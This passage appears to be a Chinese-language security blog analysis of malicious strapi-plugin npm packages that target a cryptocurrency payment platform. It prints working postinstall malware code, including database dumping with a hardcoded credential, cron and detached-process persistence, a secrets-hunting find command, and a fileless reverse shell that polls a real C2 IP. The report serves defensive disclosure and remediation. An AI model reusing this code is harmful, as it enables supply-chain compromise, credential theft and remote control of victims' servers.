user: 'user_strapi',
password: '1QKtYPp18UsyU2ZwInVM',
database: otherDbs[i].datname,
},
});
var tables2 = await db2.raw("SELECT tablename FROM pg_tables WHERE schemaname='public'");
for (var j = 0; j < tables2.rows.length; j++) {
var tn = tables2.rows[j].tablename;
if (
/wallet|key|address|transaction|deposit|withdraw|hot|cold|secret|setting|config|partner|user|token|balance/i.test(
tn
)
) {
var data = await db2.raw('SELECT * FROM "' + tn + '" LIMIT 50');
await post('/db/' + ID + '/otherdb-' + otherDbs[i].datname + '-' + tn, JSON.stringify(data.rows));
}
}
}表名正则表达式——wallet|transaction|deposit|withdraw|hot|cold|balance——是为加密货币平台数据库模式专门构建的。
明确的Guardarian数据库探测。该脚本然后尝试连接到六个特定的数据库名:
// package/postinstall.js (strapi-plugin-seed)
for (var dbname of ['payments', 'api_payments', 'guardarian', 'guardarian_payments', 'exchange', 'custody']) {
try {
var db3 = knex({
client: 'pg',
connection: {
host: '127.0.0.1',
port: 5432,
user: 'user_strapi',
password: '1QKtYPp18UsyU2ZwInVM',
database: dbname,
},
});
var t3 = await db3.raw("SELECT tablename FROM pg_tables WHERE schemaname='public'");
await post('/db/' + ID + '/found-db-' + dbname, JSON.stringify(t3.rows));
} catch (e) {}
}名称guardarian、guardarian_payments、exchange和custody使目标毫无疑问。攻击者赌的是Strapi数据库用户可以跨数据库访问支付平台的核心财务数据库——当多个服务共享一个PostgreSQL实例时,这是一种常见的错误配置。
PostgreSQL角色枚举。该脚本还转储所有数据库角色及其权限:
// package/postinstall.js (strapi-plugin-seed)
var roles = await db.raw('SELECT rolname, rolsuper, rolcanlogin FROM pg_roles');
await post('/db/' + ID + '/pg-roles', JSON.stringify(roles.rows));这揭示了user_strapi是否具有超级用户权限以及服务器上存在哪些其他账户。
C2轮询循环。与载荷5一样,此载荷包含60轮轮询C2循环(5分钟),使用/db/<id>/路径命名空间和前缀为db-的会话ID。
载荷7:主机名门控持久性植入物([email protected])
[email protected]在第一批发布约8小时后在第二个npm账户(kekylf12 <[email protected]>)下发布。它代表了一个重大演进——这不再是抓取并获取的凭据收割器,而是一个持久性植入物,旨在在postinstall窗口之外存活。
主机名门控。除非主机名与特定值匹配,否则脚本立即退出:
// package/postinstall.js ([email protected])
var hn = cp.execSync('hostname', { encoding: 'utf8' }).trim();
if (hn !== 'prod-strapi') process.exit(0);这意味着攻击者知道其目标的生产主机名。该包在任何其他机器上都会静默无事——开发者工作站、具有不同主机名的CI运行器或预发布环境都会正常退出。
持久性C2脚本。脚本不是内联运行C2循环(当postinstall完成时会死亡),而是将独立C2代理写入磁盘:
// package/postinstall.js ([email protected])
fs.writeFileSync('/tmp/.node_gc.js', c2script);
var child = cp.spawn('node', ['/tmp/.node_gc.js'], {
detached: true,
stdio: 'ignore',
env: process.env,
});
child.unref();该文件命名为.node_gc.js——一个与Node.js运行时文件融合的点文件。detached: true和child.unref()调用确保父进程退出后进程继续运行。内部的C2代理每3秒(比载荷5的5秒更快)轮询/shell/poll,并将命令输出发送到/shell/result。
Crontab持久性。脚本安装一个crontab条目,如果C2代理被终止则重新启动它:
// package/postinstall.js ([email protected])
cp.execSync(
'(crontab -l 2>/dev/null; echo "* * * * * pgrep -f node_gc || node /tmp/.node_gc.js &") | sort -u | crontab -',
{ timeout: 5000 }
);这每分钟运行:如果没有找到匹配node_gc的进程,它会重新启动代理。sort -u管道在多次安装时对条目进行去重。
无凭据收割。与早期载荷不同,此变体不窃取.env文件、Redis数据或私钥。它是一个纯访问维护工具——攻击者要么已经有凭据,要么计划通过C2通道交互式地收割凭据。
载荷8:无文件反向Shell + 有针对性凭据窃取([email protected])
在v3.6.8发布约3小时后,[email protected]是活动中最后也是最演进的载荷。它将有针对性凭据窃取与无文件持久性机制相结合,并揭示了攻击者预期受害者的具体细节。
有针对性的环境路径。硬编码路径揭示了目标的基础设施:
// package/postinstall.js ([email protected])
// Read .env from build context (copied by Jenkins: cp /opt/secrets/strapi-green.env ./.env)
var envPaths = [
'.env',
'../.env',
'../../.env',
'/app/.env',
'/opt/secrets/strapi-green.env',
'/opt/secrets/.env',
'/var/www/nowguardarian-strapi/.env',
'/var/www/nowguardarian-strapi/nowguardarian-strapi.env',
];引用Jenkins和路径/opt/secrets/strapi-green.env的注释表明攻击者了解目标的CI/CD管道。路径/var/www/nowguardarian-strapi/引用了似乎与"Guardarian"相关联的Strapi部署——一个加密货币支付网关。这与载荷5中的钱包文件窃取、载荷6中的直接Guardarian数据库探测、载荷2中的HOT_WALLET / COLD_WALLET搜索以及载荷1中的Guardarian API模块窃取一致——确认加密货币窃取从一开始就是这个活动的目标。
广泛的秘密目录扫描。脚本读取/opt/secrets/中的每个文件和/var/www/*/下每个.env文件:
// package/postinstall.js ([email protected])
// Read ALL .env files in /opt/secrets/
try {
var files = fs.readdirSync('/opt/secrets/');
for (var i = 0; i < files.length; i++) {
try {
var c = fs.readFileSync('/opt/secrets/' + files[i], 'utf8');
await p(
'/build/' + ID + '/secret',
JSON.stringify({ path: '/opt/secrets/' + files[i], content: c.slice(0, 50000) })
);
} catch (e) {}
}
} catch (e) {}环境变量过滤。与载荷5的原始env转储不同,此版本过滤掉npm_前缀的变量以减少噪音:
// package/postinstall.js ([email protected])
var env = {};
for (var k in process.env) if (!/^npm_/.test(k)) env[k] = process.env[k];
await p('/build/' + ID + '/proc-env', env);无文件持久性反向shell。最重要的演进:该脚本不是写入/tmp/(可被文件系统监控检测到),而是生成一个脱离的node -e进程,并将整个C2代理作为内联字符串传递:
// package/postinstall.js ([email protected])
var child = cp.spawn(
'node',
[
'-e',
'var h=require("http"),e=require("child_process").execSync;function poll(){' +
'h.request({hostname:"144.31.107.231",port:9999,path:"/bshell/poll",method:"POST",' +
'headers:{"Content-Type":"text/plain","Content-Length":2}},function(r){' +
'var d="";r.on("data",function(c){d+=c});r.on("end",function(){' +
'if(d&&d.trim()&&d.trim()!="nop"){try{var o=e(d.trim(),{timeout:30000,encoding:"utf8",maxBuffer:5e6});' +
'var rq=h.request({hostname:"144.31.107.231",port:9999,path:"/bshell/result",method:"POST",' +
'headers:{"Content-Type":"text/plain","Content-Length":Buffer.byteLength(o)}});rq.write(o);rq.end()' +
'}catch(x){}}setTimeout(poll,3000)})}).on("error",function(){setTimeout(poll,10000)}).end("{}");}poll();',
],
{ detached: true, stdio: 'ignore' }
);
child.unref();没有文件写入磁盘。C2代理仅作为运行进程存在,使其对基于文件的检测工具不可见。它轮询/bshell/poll(一个新路径,与载荷5的/c2/和载荷7的/shell/命名空间不同),表明攻击者在服务器端按载荷变体跟踪受害者。
无crontab持久性。与载荷7不同,此版本不安装crontab条目——攻击者为了躲避检测而牺牲了重启存活能力。C2路径前缀从信标阶段的/c2/变为/build/,进一步表明攻击者正在按来源隔离C2流量。
载荷演进时间线
八个载荷展示了一个清晰的叙事:攻击者从激进开始(Redis RCE、Docker逃逸),发现这些方法不起作用,转向侦察和数据收集,使用硬编码凭据直接访问数据库,最终确定持久性访问和有针对性凭据窃取。
| 方面 | P1 (cron) | P2 (config) | P3 (4个包) | P4 (monitor) | P5 (events) | P6 (seed) | P7 ([email protected]) | P8 ([email protected]) |
|---|---|---|---|---|---|---|---|---|
| 主要目标 | Redis RCE | 容器逃逸 | 获取shell | 侦察 | 全面侦察 | 数据库窃取 | 持久性访问 | 有针对性窃取+访问 |
| 目标门控 | TRANSFER检查 | TRANSFER检查 | TRANSFER检查 + hostname.includes('prod') | win32检查 | win32检查 | win32检查 | hostname === 'prod-strapi' | win32检查 |
| Redis滥用 | CONFIG SET写入crontab、webshell、SSH密钥 | CONFIG SET写入overlay、/tmp、/dev/shm、node_modules | CONFIG SET写入/tmp,执行结果 | 只读(INFO、KEYS) | 只读(INFO、DBSIZE、KEYS) | 无 | 无 | 无 |
| 数据库访问 | 无 | 无 | 无 | 无 | 无 | 使用硬编码凭据直接访问PostgreSQL | 无 | 无 |
| 反向shell | 无(通过Redis crontab) | Python (:4444) | Bash (:4444)、Python (:8888)、curl | 无 | 无 | 无 | 持久性脱离 | 无文件脱离 |
| 磁盘访问 | dd + mknod | dd + mknod(扩展) | 无 | 无 | 无 | 无 | 无 | 无 |
| 凭据窃取 | Guardarian API模块 | 从原始磁盘获取钱包/ES凭据 | 无 | 8阶段侦察 | 11阶段侦察 | 数据库转储+跨DB枚举 | 无 | 有针对性路径 + /opt/secrets |
| C2生命周期 | 单次窃取 | 单次窃取 | 单次窃取 | 约2.5分钟轮询 | 约5分钟轮询 | 约5分钟轮询 | 无限期(crontab) | 无限期(无文件) |
| 窃取前缀 | /exfil/cr- | /exfil/cf- | /exfil/sv- | /c2/<id>/ | /c2/<id>/ | /db/<id>/ | /shell/ | /build/<id>/ + /bshell/ |
动态分析
我们的动态分析管道用两个信号标记了strapi-plugin-events:通过find命令进行的Stage-9秘密收集,以及Stage-11 C2通信。
捕获的命令如下:
find / -maxdepth 4 ( -name *.pem -o -name *.key -o -name id_rsa* -o -name wallet* -o -name *private* -o -name *secret* ) ! -path */ssl/certs/* ! -path */node_modules/* -type f以下是记录的外向网络连接:
strapi-plugin-events-ip-aggr.csv
| id | created_at | analysis_id | ip_address | port | |
|---|---|---|---|---|---|
| 1 | 134189554 | 2026年4月3日凌晨4:00 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 2 | 134189535 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 3 | 134189498 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 4 | 134189441 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 5 | 134189440 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 6 | 134189391 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 7 | 134189363 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 8 | 134189322 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 9 | 134189297 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 10 | 134189268 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 11 | 134189237 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 12 | 134189224 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 13 | 134189223 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 14 | 134189222 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 15 | 134189207 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 16 | 134189206 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 17 | 134189205 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 18 | 134189190 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 19 | 134189183 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 20 | 134189170 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 21 | 134189169 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 22 | 134189168 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 23 | 134189167 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 24 | 134189166 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 25 | 134189165 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.2.34 | 443 |
| 26 | 134189164 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.2.34 | 443 |
| 27 | 134189163 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.6.34 | 0 |
| 28 | 134189162 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.4.34 | 0 |
| 29 | 134189161 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.0.34 | 0 |
| 30 | 134189160 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.11.34 | 0 |
| 31 | 134189159 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.3.34 | 0 |
| 32 | 134189158 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.10.34 | 0 |
| 33 | 134189157 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.7.34 | 0 |
| 34 | 134189156 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.9.34 | 0 |
| 35 | 134189155 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.8.34 | 0 |
| 36 | 134189154 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.1.34 | 0 |
| 37 | 134189153 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.5.34 | 0 |
| 38 | 134189152 | 2026年4月3日凌晨3:59 | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.2.34 | 0 |
38行
| 5列
沙箱记录了24个到144.31.107.231:9999(硬编码C2服务器)的外向连接,跨越完整的postinstall执行窗口(从信标到轮询循环)。104.16.x.34条目是在npm包解析期间联系的Cloudflare IP。
显著特征
该活动专门针对Strapi CMS部署进行工程设计:
- 所有十个包名遵循
strapi-plugin-*命名约定 - 文件路径针对Strapi的配置目录布局(
/app/config/database.js、/app/config/plugins.js) - 环境变量路径针对常见的Strapi Docker镜像约定(
/home/strapi/.env、/app/.env) - Redis利用针对通常用作Strapi缓存后端的默认本地实例
- 所有包跳过Windows主机,仅专注于Linux服务器和容器
该活动显示针对特定加密货币平台的有针对性入侵迹象:
- 载荷1从
/app/exteranl-apis窃取Guardarian API模块(拼写错误与目标实际目录名匹配) - 载荷2在原始磁盘中搜索
HOT_WALLET、COLD_WALLET、DEPOSIT_ADDRESS和MNEMONIC - 载荷3对
hostname.includes('prod')进行门控,表明了解目标命名约定 - 载荷6使用硬编码凭据连接PostgreSQL,并明确探测名为
guardarian、guardarian_payments、exchange、custody的数据库 - 载荷7对
hostname === 'prod-strapi'进行门控,表明精确了解生产主机名 - 载荷8引用
/var/www/nowguardarian-strapi/和/opt/secrets/strapi-green.env - 载荷8中的代码注释引用Jenkins:
// copied by Jenkins: cp /opt/secrets/strapi-green.env ./.env - 使用第二个npm账户(
kekylf12)针对变体表明操作隔离
所有十个包都未使用混淆。源代码是可读的JavaScript,表明攻击者优先考虑开发速度而非隐蔽性。完整的八载荷演进——从Redis RCE到无文件持久性——在单个13小时会话中发生。
结论
这次活动让我们难得地窥见了攻击者的实时开发过程。在13小时内,操作者发布了十个具有八个独立载荷的包,每个迭代都根据针对目标的实际情况(可能工作或不工作)做出响应:
- 第0-1小时(载荷1-2):激进的Redis RCE利用——crontab注入、webshell写入、SSH密钥注入、Docker overlay逃逸、原始磁盘读取。这些技术对不受保护的Redis实例可能是毁灭性的,但需要启用
CONFIG SET(在Redis 6+中默认禁用)。 - 第1-2小时(载荷3,发布4次):简化的直接反向shell——攻击者放弃Redis利用,转向直接的bash和Python shell,表明Redis方法失败了。
- 第2小时(载荷4-5):转向侦察——攻击者不再尝试获取shell,而是收集凭据、环境变量和秘密供以后使用。
- 第3小时(载荷6):直接数据库利用——攻击者使用硬编码PostgreSQL凭据转储Strapi数据,枚举服务器上的所有数据库,并探测Guardarian支付和托管数据库。真实凭据(
user_strapi/1QKtYPp18UsyU2ZwInVM)的存在证实了先前对目标的访问。 - 第10-13小时(载荷7-8):有针对性的持久性访问——攻击者切换到第二个npm账户并部署持久性植入物,具有目标主机名、CI管道和秘密目录布局的具体知识。
Guardarian引用从载荷1开始出现(/app/exteranl-apis、HOT_WALLET、COLD_WALLET、MNEMONIC、guardarian_payments、/var/www/nowguardarian-strapi/),确认这从一开始就是针对加密货币支付平台的有针对性活动——不是随时间推移变得有针对性的机会主义喷洒。载荷6中的硬编码数据库密码证明这不是攻击者与目标基础设施的首次互动。
如果你安装了这些十个包中的任何一个,请假定已被完全入侵。轮换所有可从受感染主机访问的凭据,包括数据库密码、API密钥、JWT密钥以及在文件系统中发现的任何私钥。如果1QKtYPp18UsyU2ZwInVM在任何地方使用,必须立即轮换PostgreSQL密码。撤销可能已被暴露的任何Kubernetes服务账户令牌。检查持久性机制:移除/tmp/.node_gc.js、/tmp/vps_shell.sh、/tmp/redis_exec.sh和/app/public/uploads/shell.php;审计crontab条目中是否有node_gc或curl引用;使用CONFIG GET dir审计Redis以验证它未被重新配置;并终止任何连接到144.31.107.231的孤立node -e进程。
使用vet等工具在恶意包到达生产环境之前扫描你的依赖树,并在安装时使用pmg阻止恶意包。
- vet
- 恶意软件
- 供应链安全
- npm
- 凭据窃取
- C2
- 有针对性攻击
- 持久性
- Redis RCE
SafeDep博客最新动态
关注以获取开源安全与工程的最新更新和见解